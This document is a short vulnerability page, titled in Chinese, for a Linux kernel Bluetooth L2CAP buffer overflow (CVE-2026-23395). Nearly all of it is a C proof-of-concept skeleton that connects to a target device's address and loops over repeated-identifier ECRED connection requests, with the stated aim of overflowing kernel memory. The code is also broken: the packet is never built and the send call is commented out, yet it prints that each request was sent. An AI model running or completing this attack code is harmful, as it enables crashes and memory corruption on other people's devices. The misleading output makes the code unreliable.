CVE-2026-23395: Linux内核蓝牙L2CAP缓冲区溢出漏洞

/* * Conceptual PoC for CVE-2026-23395 * Triggering the overflow by repeating the Identifier. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <bluetooth/bluetooth.h> #include <bluetooth/l2cap.h> int main(int argc, char **argv) { struct sockaddr_l2 addr = { 0 }; int sock, i; char message[128]; // Setup Bluetooth socket sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP); if (sock < 0) { perror("socket"); return -1; } // Target address (needs to be a discoverable device) addr.l2_family = AF_BLUETOOTH; str2ba(argv[1], &addr.l2_bdaddr); addr.l2_psm = htobs(0x1001); // Example PSM if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("connect"); close(sock); return -1; } printf("[+] Sending multiple L2CAP_ECRED_CONN_REQ with same ID...\n"); // Send 6 requests with the SAME Identifier (e.g., 0x01) // L2CAP_ECRED_MAX_CID is 5, so 6 triggers overflow in l2cap_ecred_rsp_defer for (i = 0; i < 6; i++) { // Construct raw L2CAP command packet manually or via specific lib // Code 0x17 is L2CAP_ECRED_CONN_REQ // Identifier: 0x01 (Repeated) // Length: ... // Payload: SCID, DCID, etc. // send(sock, packet, length, 0); printf("Request %d sent with ID 0x01\n", i+1); usleep(10000); // Small delay to ensure processing order } printf("[*] Done. Check kernel logs for crash or memory corruption.\n"); close(sock); return 0; }